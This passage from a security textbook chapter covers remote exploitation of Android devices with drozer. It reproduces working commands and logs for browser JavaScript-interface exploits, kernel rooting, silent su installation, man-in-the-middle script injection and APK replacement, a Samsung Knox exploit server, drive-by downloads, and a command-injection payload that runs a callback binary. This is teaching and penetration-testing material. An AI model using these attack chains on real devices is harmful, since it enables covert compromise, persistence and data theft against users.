 - android.permission.SUBSCRIBED_FEEDS_WRITE 
 - android.permission.SYSTEM_ALERT_WINDOW 
 - android.permission.USE_CREDENTIALS 
 - android.permission.USE_SIP 
 - android.permission.VIBRATE 
 - android.permission.WAKE_LOCK 
 - android.permission.WRITE_CALENDAR 
 - android.permission.WRITE_CONTACTS 
 - android.permission.WRITE_EXTERNAL_STORAGE 
 - android.permission.WRITE_PROFILE 
 - android.permission.WRITE_SMS 
 - android.permission.WRITE_SOCIAL_STREAM 
 - android.permission.WRITE_SYNC_SETTINGS 
 - android.permission.WRITE_USER_DICTIONARY

The permissions granted to this agent are shown in the previous output. A tremendous amount of control can be expressed over this device with this level of access. What exactly can be done with this level of access is explored later in this chapter in the section, “Infiltrating User Data.” The great thing about being able to install a full drozer package is that you are able to use Context and the payload survives device reboots. This is because the drozer agent catches the BOOT_COMPLETED intent in its manifest, which means that it gets started again when the device boots up. The other session received by the drozer server is a limited drozer agent as shown previously in the Browser Memory Corruption exploit.

Android Browser JavaScript Interface

As explained in the “WebViews” subsection in Chapter 7, all WebViews making use of a JavaScriptInterface and targeting an API version before 17 are vulnerable to a remote code execution flaw. This includes all stock Android web browsers on Android 4.1.1 and older devices. This example looks at abusing this vulnerability using a drozer exploit at exploit.remote.browser .addjavascriptinterface. The attack begins by running a drozer server on port 80 and then building the exploit:

$ drozer exploit build exploit.remote.browser.addjavascriptinterface 
--server 192.168.1.112:80 --payload weasel.shell.armeabi --resource / 
Uploading weasel to /weasel and W...  [  OK  ] 
Packaging an Agent... (this may take some time) 
Uploading the Agent to /agent.apk and A...  [  OK  ] 
Uploading server.settings... [  OK  ] 
Uploading libWebViewContext.so... [  OK  ] 
Uploading blank page to /... [  OK  ] 
Uploading exploit inclusion page to /... [  OK  ] 
Uploading exploit to /dz.js... [  OK  ] 
Done. The exploit is available on: http://192.168.1.112:80/ 
When using the MitM helper plug-in for drozer: JS Location = 
http://192.168.1.112:80/dz.js

Visiting the main page from an Android 4.0.4 device yields the following in the drozer server log:

2014-11-14 10:32:57,713 - drozer.server.protocols.http - INFO - GET / 
2014-11-14 10:32:58,217 - drozer.server.protocols.http - INFO - GET 
/dz.js 
2014-11-14 10:32:59,227 - drozer.server.protocols.http - INFO - GET 
/server.settings 
2014-11-14 10:32:59,314 - drozer.server.protocols.http - INFO - GET 
/libWebViewContext.so 
2014-11-14 10:32:59,330 - drozer.server.protocols.http - INFO - GET 
/agent.jar 
2014-11-14 10:33:00,157 - drozer.server.protocols.http - INFO - GET 
/favicon.ico 
2014-11-14 10:33:00,208 - drozer.server.protocols.drozerp.drozer - INFO 
- accepted connection from 2df0s1l8t5vld

You will notice that a unique file is being requested by the exploit named libWebViewContext.so. This is the inclusion of the work by David Hartley from MWR InfoSecurity on allowing a drozer agent to obtain the elusive Context. This allows the drozer agent to be classloaded and passed Context. This effectively allows the drozer code to be running with exactly the same permissions as the browser and be included as part of the browser's running code. This is a huge step forward in creating advanced Android exploitation payloads and you can find additional information about it at https://labs.mwrinfosecurity.com/blog/2014/06/12/putting-javascript-bridges-into-android-context/. Connecting to this session and typing permissions confirms that you have Context and shows the permissions held by the agent, which have been stolen from the browser.

$ drozer console connect 2df0s1l8t5vld --server 192.168.1.112:80 
            ..                    ..:. 
           ..o..                  .r.. 
            ..a..  . ....... .  ..nd 
              ro..idsnemesisand..pr 
              .otectorandroidsneme. 
           .,sisandprotectorandroids+. 
         ..nemesisandprotectorandroidsn:. 
        .emesisandprotectorandroidsnemes.. 
      ..isandp,..,rotectorandro,..,idsnem. 
      .isisandp..rotectorandroid..snemisis. 
      ,andprotectorandroidsnemisisandprotec. 
     .torandroidsnemesisandprotectorandroid. 
     .snemisisandprotectorandroidsnemesisan: 
     .dprotectorandroidsnemesisandprotector. 
 
drozer Console (v2.3.4) 
dz> permissions 
Has ApplicationContext: YES 
Available Permissions: 
 - android.permission.ACCESS_ALL_DOWNLOADS 
 - android.permission.ACCESS_COARSE_LOCATION 
 - android.permission.ACCESS_DOWNLOAD_MANAGER 
 - android.permission.ACCESS_FINE_LOCATION 
 - android.permission.ACCESS_NETWORK_STATE 
 - android.permission.ACCESS_WIFI_STATE 
 - android.permission.CHANGE_NETWORK_STATE 
 - android.permission.CHANGE_WIFI_STATE 
 - android.permission.DEVICE_POWER 
 - android.permission.GET_ACCOUNTS 
 - android.permission.INTERNET 
 - android.permission.MANAGE_ACCOUNTS 
 - android.permission.NFC 
 - android.permission.READ_CONTACTS 
 - android.permission.READ_PHONE_STATE 
 - android.permission.READ_SYNC_SETTINGS 
 - android.permission.RECEIVE_BOOT_COMPLETED 
 - android.permission.SEND_DOWNLOAD_COMPLETED_INTENTS 
 - android.permission.SET_WALLPAPER 
 - android.permission.STATUS_BAR 
 - android.permission.USE_CREDENTIALS 
 - android.permission.WAKE_LOCK 
 - android.permission.WRITE_EXTERNAL_STORAGE 
 - android.permission.WRITE_MEDIA_STORAGE 
 - android.permission.WRITE_SECURE_SETTINGS 
 - android.permission.WRITE_SETTINGS 
 - android.permission.WRITE_SYNC_SETTINGS 
 - com.android.browser.permission.READ_HISTORY_BOOKMARKS 
 - com.android.browser.permission.WRITE_HISTORY_BOOKMARKS 
 - com.android.launcher.permission.INSTALL_SHORTCUT

Launching a normal shell from this also confirms that you are running as the browser and using com.android.browser as the base directory to use the drozer agent from:

dz> shell 
app_81@android:/data/data/com.android.browser $ ls 
agent.dex 
agent.jar 
app_appcache 
app_databases 
app_filesystem 
app_geolocation 
app_icons 
app_webnotification 
cache 
databases 
lib 
libWebViewContext.so 
server.settings 
shared_prefs 
w

While you have a connected session, explore some post-exploitation techniques on this device that will allow you to obtain root access and install a drozer agent package that persists across reboots. The method used to gain the original session will not persist across reboots because it was loaded into memory during the exploit and doesn't do anything to ensure that it will be loaded again. In fact, it can't do anything to ensure this with the level of access it has.

In general, if you want to find out what device you are accessing you can observe the output on the drozer console devices output or perform the following commands:

dz> shell getprop ro.product.brand 
samsung 
 
dz> shell getprop ro.product.model 
GT-I9300 
 
dz> shell getprop ro.build.version.release 
4.0.4

A bit of research on the Internet reveals a kernel exploit is available for this device. This particular exploit was discussed in Chapter 6, “Rooting Explained” under “Exynos Abuse — Exploiting Custom Drivers.” The exploit abuses the /dev/exynos-mem device driver for a root shell; drozer has a post-exploitation module available for this. To install all root exploit modules in drozer perform the following:

dz> module install root. 
... 
Processing metall0id.root.exynosmem... Done. 
...

The output of this module was snipped to show only the relevant root exploit for the device an attacker would have access to. After you install the new root exploit module, it becomes available inside the console:

dz> ls exynos 
exploit.root.exynosmem  Obtain a root shell on Samsung Galaxy S2, S3, 
Note 2 and some other devices.

Running this module produces a root shell on the device:

dz> run exploit.root.exynosmem 
[*] Uploading exynos-abuse 
[*] Upload successful 
[*] chmod 770 /data/data/com.android.browser/exynos-abuse 
sh: No controlling tty (open /dev/tty: No such device or address) 
sh: Can't find tty file descriptor 
sh: warning: won't have full job control 
app_81@android:/data/data/com.android.browser # id 
uid=0(root) gid=10081(app_81) groups=1015(sdcard_rw),1023(media_rw), 
3003(inet)

To keep this root access, you must install a special version of the su binary bundled with drozer named minimal su. This binary was discussed briefly in Chapter 6 under “Rooting Objectives.” When you place this binary on the device and install it correctly, it will give a root shell to any application that asks without prompting the user in any way. A helper module to help set it up correctly is available at tool.setup.minimalsu. Running it reveals the following:

dz> run tools.setup.minimalsu 
[+] Uploaded minimal-su 
[+] Uploaded install-minimal-su.sh 
[+] chmod 770 /data/data/com.android.browser/install-minimal-su.sh 
[+] Ready! Execute /data/data/com.android.browser/install-minimal-su.sh 
from root context to install minimal-su

Now running the generated script from the root shell installs minimal su correctly on the device:

app_81@android:/data/data/com.android.browser # /data/data/com.android 
.browser/install-minimal-su.sh 
Done. You can now use `su` from a drozer shell.

You can now run su from a normal shell and obtain root access on the device at will without reusing an exploit:

dz> shell 
app_81@android:/data/data/com.android.browser $ su -i 
sh: No controlling tty (open /dev/tty: No such device or address) 
sh: Can't find tty file descriptor 
sh: warning: won't have full job control 
app_81@android:/data/data/com.android.browser #

Anyone with root access has the privileges to install a new package. This fact allows the attacker to install a full drozer agent package with all available permissions on the device. As mentioned, this agent will also persist across reboots because it catches the BOOT_COMPLETED intent. The weasel payload was used to set up all of the existing attacks thus far and can be used to retrieve a drozer agent from the server and install it as well. Weasel is in the private data directory of the exploited application in a file named w. Running weasel as root and providing it with the IP address and port of the server produces the following output:

app_81@android:/data/data/com.android.browser # ./w 192.168.1.112 80 
Success 
Broadcasting: Intent { act=com.mwr.dz.PWN } 
Broadcast completed: result=0 
Starting service: Intent { cmp=com.mwr.dz/.Agent } 
       pkg: /data/data/com.android.browser/agent.apk

This will most certainly break the current shell session and you would need to press Control+C to exit it. This is because of the app_process replacement technique used by weasel that was discussed earlier. After you issue the previous command, the following is displayed in the drozer server logs:

2014-11-14 12:05:03,206 - drozer.server.protocols.http - INFO - GET 
/agent.apk 
2014-11-14 12:12:01,257 - drozer.server.protocols.shell - INFO - 
accepted shell from 192.168.1.109:42883 
2014-11-14 12:12:01,268 - drozer.server.protocols.http - INFO - GET 
/agent.apk 
2014-11-14 12:12:01,273 - drozer.server.protocols.http - INFO - GET 
/agent.jar 
2014-11-14 12:12:03,369 - drozer.server.protocols.drozerp.drozer - INFO 
- accepted connection from 5i995jpik7r7h 
2014-11-14 12:12:10,067 - drozer.server.protocols.drozerp.drozer - INFO 
- accepted connection from 1b6b125f54bdda30

You receive a reverse shell connection and two more drozer sessions! Querying the server now shows three connected sessions:

$ drozer console devices --server 127.0.0.1:80 
List of Bound Devices 
 
Device ID         Manufacturer         Model                 Software 
5i995jpik7r7h     samsung              GT-I9300              4.0.4 
2df0s1l8t5vld     samsung              GT-I9300              4.0.4 
1b6b125f54bdda30  samsung              GT-I9300              4.0.4

Notice that one of these sessions has a longer Device ID. This is because drozer assigns shorter Device IDs to the JAR agent loaded through exploitation techniques than installed versions of the agent. Connecting to the session with the longer ID reveals that this is an installed version of drozer:

$ drozer console connect 1b6b125f54bdda30 --server 192.168.1.112:80 
            ..                    ..:. 
           ..o..                  .r.. 
            ..a..  . ....... .  ..nd 
              ro..idsnemesisand..pr 
              .otectorandroidsneme. 
           .,sisandprotectorandroids+. 
         ..nemesisandprotectorandroidsn:. 
        .emesisandprotectorandroidsnemes.. 
      ..isandp,..,rotectorandro,..,idsnem. 
      .isisandp..rotectorandroid..snemisis. 
      ,andprotectorandroidsnemisisandprotec. 
     .torandroidsnemesisandprotectorandroid. 
     .snemisisandprotectorandroidsnemesisan: 
     .dprotectorandroidsnemesisandprotector. 
 
drozer Console (v2.3.4) 
dz> shell 
app_129@android:/data/data/com.mwr.dz $

This session has a huge set of permissions assigned to it and can also make use of the planted su inside a shell to obtain root access. It is fair to say that this device has been completely compromised simply by browsing to a website! Other web browsers that contain JavaScript interfaces and target API versions of 16 or less will be exploitable in exactly the same fashion.

Man-in-the-Middle Exploits

You can intercept connections from users on a huge scale if you are an organization that provides Internet services to the masses. Similarly, breaking SSL is easy if you are a government that has influence on a CA that is trusted by your device. However, we will explore man-in-the-middle (MitM) attacks that do not rely on such access. Two suitable ways to ensure that you are in a position to perform man-in-the-middle attacks are by:

  • Hosting your wireless network with free Internet access. You can define your own default gateway to the Internet or perform a variety of other setups that ensure that you can manipulate traffic.
  • Connecting to a wireless network with your computer, which allows you to perform ARP spoofing attacks on devices on the same subnet as your computer.

General exploitation steps for performing MitM attacks on a connected wireless network are:

  • Connect to a wireless network where you know Android devices are also connected.
  • ARP spoof the entire network so that their traffic comes through your computer.
  • Run Burp and start an invisible proxy listener on port 8080.
  • Use iptables to redirect traffic from port 80 to your proxy on port 8080.
Injecting Exploits for JavaScript Interfaces

Devices that contain applications making use of JavaScript interfaces and loading content over the Internet are at risk of being exploited. An attacker who is in the position to inject arbitrary JavaScript into HTTP responses that end up being interpreted by a WebView can exploit devices with a huge success rate. Even the latest devices at the time of writing could be remotely exploited if applications on the device are using vulnerable WebView components and application configuration.

Without further ado, let's exploit a Sony Xperia Z2 running Android 4.4.2 using a MitM attack. The particular application we are going to be exploiting loads advertisements. Advertising companies make use of WebViews with JavaScript interfaces to load these adverts over cleartext. They are some of the worst offenders of this issue as per https://www.mwrinfosecurity.com/ articles/ad-network-research/. This means that if the application is targeting an SDK version of 16 or lower, you can compromise this application using MitM attacks. For this example, you will be using the same exploit setup in drozer used earlier in the Android Browser JavaScript interface example. Except now instead of being able to visit a web page that loads dz.js, you will be actively injecting it into HTTP responses. Perform your usual MitM setup using Ettercap and Burp and then load the drozer MitM helper extension. Make use of the JavaScript Injection tool to inject links to http://192.168.1.112/dz.js and then click the button to enable it. Figure 8.6 shows this setup.

images

Figure 8.6 Setting up the drozer MitM helper extension for JavaScript injection

On the device, the test application that loads an advertisement is opened. This causes a request to be made to the server and the Burp extension injects the following into the reply:

<script src="http://192.168.1.112/dz.js"></script>

This is done using a few techniques that look for good places to reliably inject into the HTML. As soon as the request is made, it injects the JavaScript into a response, as shown in Figure 8.7.

images

Figure 8.7 Burp extension showing that an injection has taken place

The application immediately retrieves dz.js from the drozer server and loads it. In the same way as before, dz.js uses weasel with the help of libWebViewContext.so to load a drozer agent inside the application and connect it to your server. This is shown in the drozer server log:

2014-11-14 15:33:58,692 - drozer.server.protocols.http - INFO - GET 
/dz.js 
2014-11-14 15:34:25,103 - drozer.server.protocols.http - INFO - GET 
/server.settings 
2014-11-14 15:34:25,803 - drozer.server.protocols.http - INFO - GET 
/libWebViewContext.so 
2014-11-14 15:34:25,842 - drozer.server.protocols.http - INFO - GET 
/agent.jar 
2014-11-14 15:34:26,669 - drozer.server.protocols.drozerp.drozer - INFO 
- accepted connection from qv72depj41ld

Listing the available connections on the drozer server shows that a Sony D6503 is connected:

$ drozer console devices --server 127.0.0.1:80 
List of Bound Devices 
 
Device ID         Manufacturer         Model                 Software 
qv72depj41ld      Sony                 D6503                 4.4.2

Connecting to this and checking what permissions you have obtained reveals the following, which matches that of the vulnerable application:

$ drozer console connect qv72depj41ld --server 192.168.1.112:80 
            ..                    ..:. 
           ..o..                  .r.. 
            ..a..  . ....... .  ..nd 
              ro..idsnemesisand..pr 
              .otectorandroidsneme. 
           .,sisandprotectorandroids+. 
         ..nemesisandprotectorandroidsn:. 
        .emesisandprotectorandroidsnemes.. 
      ..isandp,..,rotectorandro,..,idsnem. 
      .isisandp..rotectorandroid..snemisis. 
      ,andprotectorandroidsnemisisandprotec. 
     .torandroidsnemesisandprotectorandroid. 
     .snemisisandprotectorandroidsnemesisan: 
     .dprotectorandroidsnemesisandprotector. 
 
drozer Console (v2.3.4) 
dz> permissions 
Has ApplicationContext: YES 
Available Permissions: 
 - android.permission.ACCESS_NETWORK_STATE 
 - android.permission.CAMERA 
 - android.permission.INTERNET 
 - android.permission.READ_EXTERNAL_STORAGE 
 - android.permission.WRITE_CALENDAR 
 - android.permission.WRITE_CONTACTS 
 - android.permission.WRITE_EXTERNAL_STORAGE

At the time of writing, this was a fairly up-to-date device. However, it was still vulnerable to the Futex vulnerability discussed in Chapter 6 that can be exploited by Towelroot. You can use a post-exploitation module inside drozer at exploit.root.towelroot to obtain root on this device. Details on this module are:

dz> ls towel 
exploit.root.towelroot  Obtain a root shell on devices running Android 
4.4 KitKat and/or kernel build date < Jun 3 2014.

Running this module from your session confirms that you can indeed obtain root on this device:

dz> run exploit.root.towelroot 
[*] Uploading towelroot 
[*] Upload successful 
[*] chmod 770 /data/data/com.conversantmedia.sdksample/towelroot 
[*] WARNING: Do not type 'exit' - rather use Control+C otherwise you 
will reboot the device! 
[*] Executing...hold thumbs... 
/system/bin/sh: can't find tty fd: No such device or address 
/system/bin/sh: warning: won't have full job control 
u0_a246@D6503:/data/data/com.conversantmedia.sdksample # id 
uid=0(root) gid=0(root) 
groups=1015(sdcard_rw),1028(sdcard_r),2991(removable_rw),3003(inet), 
50246(all_a246) context=u:r:kernel:s0
Custom Application Updates

Some application developers design pre-installed applications to manage their own application updates through their own code and not through a management system like an app store. For applications to install their own updates they would need to hold the INSTALL_PACKAGES permission. Typically, these applications check a server on the Internet for the latest available version of their Android package and then download the APK from the server if a newer version than the one installed is available.

An alarming number of device manufacturers do this and even download these new APKs over a cleartext HTTP connection. This gives attackers an opportunity to intercept APKs in transit and replace them with a malicious package, like a rogue drozer agent. To perform this attack on a connected wireless network, do the usual MitM setup with Ettercap and Burp. Then load the drozer MitM helper extension and use the APK Replacement tool. If anyone you are intercepting traffic for downloads an APK over cleartext, it will be replaced with the APK you provided. If you have chosen to use a rogue drozer agent as your payload, then after it has been replaced you will need to invoke it. Again, this is because applications are installed in an inactive state and so it would need to be actively invoked. You can do this by using the Invoke drozer using pwn:// tool in the Burp extension. Figure 8.8 shows a screenshot of this setup.

images

Figure 8.8 Setting up the drozer MitM helper extension to replace APKs and then invoke them

Invoking the drozer agent means injecting code that tries to load a page from a URI starting with pwn:// into the HTML of a response. The difference between active invocation and passive invocation is that passive invocation injects an iframe into the HTML that loads from pwn:// whereas active invocation redirects the browser to pwn://. Active invocation is much more noticeable but is unfortunately the only option on Chromium versions 25 and later. Invoking the agent on a newer device would require the “active invocation” checkbox to be ticked. This example mimics a scenario where an application downloads an APK in cleartext. To do this you browse to a website that hosts an APK and install it.

The log in the Burp MitM extension looks like the following:

2014-11-16 13:17:03    http://37.48.83.23:80/download/TeamViewer.apk    Got 
request for APK... 
2014-11-16 13:17:06    http://37.48.83.23:80/download/TeamViewer.apk 
Replaced APK!

You can now assume that this has been installed on the device. Now attempt to invoke the agent through the pwn:// handler. Any website that the user visits will have this URI injected into it. After browsing to a website on the device, you receive the following in the extension's log:

2014-11-16 13:20:01    http://www.somesite.co.za:80/    Injected drozer 
invocation with pwn://

You also receive your session in the drozer server log:

2014-11-16 15:20:12,672 - drozer.server.protocols.drozerp.drozer - INFO 
- accepted connection from 7266ee96657c506

Querying the drozer server for the connected devices results in the following:

$ drozer console devices --server 192.168.1.112:80 
List of Bound Devices 
 
Device ID         Manufacturer         Model                 Software 
7266ee96657c506   asus                 Nexus 7               5.0

This was performed on a Nexus 7 tablet running Android 5.0. Although the scenario was fictitious you can see how it can be blindly applied on a network of unknown devices to install rogue drozer agents on devices. Admittedly, it does require a degree of luck with the timing of update requests from devices, but the reward is a persistent Trojan on a remote device with a lot of permissions!

This attack could similarly be applied to applications that load code from remote sources. A great example of this is the AppLovin Ad Library that loaded JAR files from remote sources (see https://labs.mwrinfosecurity.com/blog/2013/11/20/applovin-ad-library-sdk-remote-command-execution-via-update-mechanism/). It retrieved JAR files over a cleartext connection and then blindly loaded them into the application.

BROWSABLE URI Injection

Applications that have an intent filter for an activity defined with the BROWSABLE category set have the ability to be invoked from a web browser. Any chain of events that takes place after invocation should be highly scrutinized by attackers because it is a lucrative target for exploitation. An excellent example of such an attack is the UniversalMDMClient application, which is part of the Samsung Knox suite of applications present on many high-end Samsung devices. It has the following intent filter defined on one of its activities:

<intent-filter> 
    <data android:scheme="smdm" /> 
    <action android:name="android.intent.action.VIEW" /> 
    <category android:name="android.intent.category.DEFAULT" /> 
    <category android:name="android.intent.category.BROWSABLE" /> 
</intent-filter>

On November 16, 2014, André Moulu from Quarkslab found a vulnerability in this application that can be used to remotely exploit it. He found a code path that can allow the installation of arbitrary packages that can be invoked by the following URI:

smdm://whatever?update_url=http://yourserver/ 

When this activity is invoked in this manner it contacts the server specified in the update_url parameter with a path of //latest. As long as the server responds with the following server headers, the attack goes ahead:

  • Content-Length—The size of the APK it is retrieving
  • ETag—Any unique string such as the MD5 hash of the APK
  • x-amz-meta-apk-version—The latest available version of the application

After the application gets the response back from the server, it prompts the user to install the update. You can see an example of this in Figure 8.9.

images

Figure 8.9 The prompt shown to the user after a valid response is obtained from the server

If the user accepts this prompt, the application is installed from the remote server. The proof of concept provided by André at http://blog.quarkslab .com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html can be used to compromise a device using MitM techniques. In this example a rogue drozer agent is provided as the APK to be installed on the device and so the proof of concept was slightly tweaked to accommodate this. In addition, the listening port of the server was changed. The resulting code is as follows:

import hashlib 
 
from BaseHTTPServer import BaseHTTPRequestHandler 
 
APK_FILE = "agent.apk" 
APK_DATA = open(APK_FILE,"rb").read() 
APK_SIZE = str(len(APK_DATA)) 
APK_HASH = hashlib.md5(APK_DATA).hexdigest() 
 
class MyHandler(BaseHTTPRequestHandler): 
    def do_GET(self): 
        self.send_response(200) 
        self.send_header("Content-Length", APK_SIZE) 
        self.send_header("ETag", APK_HASH) 
        self.send_header("x-amz-meta-apk-version", "1337") 
        self.end_headers() 
        self.wfile.write(APK_DATA) 
        return 
 
    def do_HEAD(self): 
        self.send_response(200) 
        self.send_header("Content-Length", APK_SIZE) 
        self.send_header("ETag", APK_HASH) 
        self.send_header("x-amz-meta-apk-version", "1337") 
        self.end_headers() 
        return 
 
if __name__ == "__main__": 
    from BaseHTTPServer import HTTPServer 
    server = HTTPServer(('0.0.0.0',4444), MyHandler) 
    server.serve_forever()

This code creates an HTTP server listening on port 4444. Now you can set up the Custom URI Handler Injection tool in the drozer MitM helper extension in Burp to look like Figure 8.10.

images

Figure 8.10 The configuration of the Custom URI Handler Injection section of the drozer Burp plug-in

Providing agent.apk in the same directory as the server and then performing usual MitM techniques and proxying traffic through Burp will allow the compromise of various Samsung devices (with Knox support) on the network. Visiting a cleartext website on a Samsung Galaxy S5 results in the following log entry in the Burp plug-in:

2014-11-16 10:47:42    http://www.somesite.co.za:80/    Injected custom URI 

Simultaneously, the following is printed to screen from André's Python script:

192.168.1.112 - - [16/Nov/2014 10:47:41] "HEAD //latest HTTP/1.1" 200 - 
192.168.1.112 - - [16/Nov/2014 10:47:50] "GET //latest HTTP/1.1" 200 - 

The presence of the HEAD request tells us that the custom URI was successfully injected and the UniversalMDMClient activity was opened. The GET request tells us that the user has accepted the prompt and chosen to install the application. Note that if the user chooses not to install the application, the Burp extension will simply inject it again into the next HTTP response and prompt the user again. You can keep the URI injection running until the user chooses to accept the prompt and install the application. After you receive the GET request, you can assume that the application has been installed. Then you need to invoke the installed drozer package in the same way shown earlier. Note that turning this exploit into a completely remote one without the need for MitM is also possible. A remote exploit for this can be found in drozer at exploit .remote.browser.knoxsmdm.

Other examples of attacks using BROWSABLE activities exist. Some of them may require additional interception of responses and even DNS spoofing attacks. However, the fact remains that BROWSABLE activities are an excellent entry point into a device and have application for real-world practical attacks.

Malware

The intention of a malware author could vary wildly. Malware can also be distributed in a number of ways. The majority of techniques used by malware authors are not sophisticated. Some of the more sophisticated malware preys on people's greediness by offering paid applications that are “cracked” to remove checks for the validity of the purchase. This is a clever way to incorporate malware inside these applications. However, in this section we only explore two scenarios:

  • Improving the drive-by download attack with social engineering
  • Using a zero permission application to install additional packages
Drive-By Downloads

Website owners with questionable morals or who have suffered a compromise may be serving Android applications that automatically download when you visit their site. This is known as a drive-by download. In the case of Android, this is a pure social engineering attack against the user. The website may try to trick the user into installing the application by displaying messages about a missing plug-in or a mobile application replacement instead of visiting the website in a browser. However it is worded, the premise of the attack remains the same: The user has to install the downloaded APK. Installing an application in this way requires a setting named “Unknown Sources” to be checked in the settings. All this setting does is control whether the user can open an APK in the Package Installer activity or not. Contrary to popular belief, it has no bearing on any other techniques used to install additional APKs that are not from the Play Store.

This example examines how to perform this attack using the drozer exploit at exploit.remote.socialengineering.unknownsources. The pages that serve a rogue drozer agent and the actual APK can be pushed to a drozer server listening on port 80 as follows:

$ drozer exploit build exploit.remote.socialengineering.unknownsources 
--server 192.168.1.112:80 --resource / 
Uploading blank page to /...  [  OK  ] 
Uploading agent to /plug-in.apk...  [  OK  ] 
Uploading web delivery page to /...  [  OK  ] 
Done. Exploit delivery page is available on: http://192.168.1.112:80/

This uploads the page that serves the download from the web root and in this instance can be accessed by visiting http://192.168.1.112 from an Android phone. This example visits this site both from an Android phone running an older version of the Android browser and a device running KitKat with the most updated Google Chrome browser. We will note the improvements made to the security model and how they affect this attack.

Malware authors who relied on drive-by downloads often made use of the RECEIVE_BOOT_COMPLETED permission in their application manifest because it was a reliable way to invoke the application after it had been installed. Applications that catch the BOOT_COMPLETED intent allow the application to be started when the phone boots up. This ensures that at some stage the malware will be run even if the user does not ever start up the newly installed application. Visiting the drozer server from an Android 2.3 device, downloading and installing the package, and then rebooting the device results in a session being received when BOOT_COMPLETED is received. Also notice that the download is initiated automatically and never asks whether the user would like to download it.

Using the BOOT_COMPLETED invocation method on older versions of Android is reliable but who wants to wait until the user reboots her device to receive a session? To invoke an application automatically after the APK has been downloaded, the drozer module loads an iframe with src="pwn://lol" that constantly gets refreshed. This means that on an Android 2.3 device, installing the APK immediately yields a session on the drozer server:

2014-11-14 01:19:49,430 - drozer.server.protocols.http - INFO - GET / 
2014-11-14 01:19:49,555 - drozer.server.protocols.http - INFO - GET 
/favicon.ico 
2014-11-14 01:19:51,572 - drozer.server.protocols.http - INFO - GET 
/plug-in.apk 
2014-11-14 01:19:52,320 - drozer.server.protocols.http - INFO - GET 
/plug-in.apk 
2014-11-14 01:21:24,775 - drozer.server.protocols.drozerp.drozer - INFO 
- accepted connection from 4abaa41aed56c78f

Since Android 3.1, a newly installed application does not receive the BOOT_COMPLETED intent unless some component of its code has been invoked by the user because of its “inactive” state. This stumped many malware authors and this technique now seems less prevalent since this addition. However, this attack is still very much alive using something like drozer's pwn:// handler. Automatic invocation takes place on all Android devices running Chromium versions 24 or less.

This attack on an Android 4.4 device running the latest version of Google Chrome is somewhat different. Chrome does not allow the automatic download of the APK. It prompts users whether they would like the APK to download and issues a warning that downloading an APK may be dangerous. If a user ignores this and installs the APK, automatically invoking the newly installed application by using an iframe is not possible. A link would need to be provided that the user clicks that loads from a pwn:// address. This is slightly less convenient but still a completely valid attack vector. Figure 8.11 shows the page on a KitKat device where a user would have to click the “reload” button to invoke the newly installed drozer agent.

images

Figure 8.11 The drozer exploit page attempting to perform social engineering to get the user to click the reload button

Requesting Zero Permissions

A clever malware author could create an application that requests no permissions at all and abuses vulnerabilities in devices to install additional packages or compromise applications in another way. There is a huge scope for attacking other applications without having any particular permissions, as was explored in Chapter 7. Assuming that the ultimate goal of an application requesting zero permissions is to install an additional package, this additional package could then request all available permissions and allow the infiltration of user data to a larger degree. Obtaining the ability to install an additional package without permissions is considered “breaking out of the sandbox.” As you have seen, sandbox is a loose term. Nonetheless, the implementation of the Android security model in the device would be broken if you could do this.

A reliable technique would be to include publicly available kernel exploits inside the application. Targeting these exploits correctly according to the device could bring success to the malware author. With root access, installing an additional package would certainly be possible. Let us explore an interesting example of a vulnerability in a pre-installed application on a Samsung Galaxy S3 with the package name com.sec.android.app.servicemodeapp. This application has a sharedUserId set to android.uid.system in its manifest. André Moulu from QuarksLab discovered that this application had a command injection vulnerability in one of its broadcast receivers that allows for execution of arbitrary commands as the system user. A simplified version of the code that performs a basic Runtime.getRuntime().exec() is as follows:

FTATDumpService.this.DoShellCmd("dumpstate > /data/log/" + str + ".log")

Where str is controlled by an extra as part of the Intent passed from the broadcast receiver with the key FILENAME. The proof of concept shown by André simply wrote a file to the SD card:

$ adb shell am broadcast -a com.android.sec.FTAT_DUMP --es FILENAME 
`../../../../../dev/null;/system/bin/id > /sdcard/shellescape;' 
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) } 
Broadcast completed : result=0

You can find more information about this vulnerability in his presentation at http://www.quarkslab.com/dl/Android-OEM-applications-insecurity-and-backdoors-without-permission.pdf. This could have been used to devastating ends by a malware author. Now we'll get this application to execute weasel as a proof of concept and show what exploitation of this issue allows. Perform the following steps:

  1. Start a drozer server on an Internet-facing machine.
  2. Build a rogue drozer agent and upload it to the server as follows:

    $ drozer agent build --server 192.168.1.112:80 --rogue 
    Done: /tmp/tmp2bd94X/agent.apk 
     
    $ drozer server upload /agent.apk /tmp/tmp2bd94X/agent.apk 
    --server 192.168.1.112:80
  3. Bundle weasel inside an application with zero permissions. You find the weasel binary inside drozer at /src/drozer/lib/weasel/armeabi/w.
  4. When the application is first run, copy weasel to your application's data directory and mark it as world readable.
  5. Send a broadcast with the following parameters:
    • Action: com.android.sec.FTAT_DUMP
    • Extra string named 'FILENAME':

      ../../../../../dev/null; cd 
      /data/data/com.sec.android.app.servicemodeapp;cat 
      /data/data/my.evil.application/w > w; 
      chmod 770 w; ./w 192.168.1.112 80;#

      This injects perfectly to complete the command and copy weasel from your application's data directory, mark it executable, and run it with your Internet-facing server as its arguments. This results in the following sessions shown in your drozer server log:

      2014-11-15 20:10:54,037 - drozer.server.protocols.shell - INFO - 
      accepted shell from 192.168.1.109:58585 
      2014-11-15 20:10:54,134 - drozer.server.protocols.http - INFO - GET 
      /agent.jar 
      2014-11-15 20:10:54,136 - drozer.server.protocols.http - INFO - GET 
      /agent.apk 
      2014-11-15 20:10:56,025 - drozer.server.protocols.drozerp.drozer - INFO 
      - accepted connection from a4cjgha9cn2ic 
      2014-11-15 20:11:01,331 - drozer.server.protocols.drozerp.drozer - INFO 
      - accepted connection from 1b6b125f54bdda30

Querying the server reveals that you received two drozer sessions from this command: one with Context and the other one likely without, because it used the app_process method to load drozer:

$ drozer console devices --server 192.168.1.112:80 
List of Bound Devices 
 
Device ID         Manufacturer         Model                 Software 
1b6b125f54bdda30  samsung              GT-I9300              4.0.4 
a4cjgha9cn2ic     samsung              GT-I9300              4.0.4

Session 1b6b125f54bdda30 is an installed drozer agent that was possible because weasel was loaded inside the vulnerable application, which was running as the system user. The session a4cjgha9cn2ic would still be running as the system user itself but would not have Context. This is very interesting as this allows a huge degree of control over the device from within a drozer session! Connecting to this session confirms that we are indeed running as the system user but do not have Context:

$ drozer console connect a4cjgha9cn2ic --server 192.168.1.112:80 
            ..                    ..:. 
           ..o..                  .r.. 
            ..a..  . ....... .  ..nd 
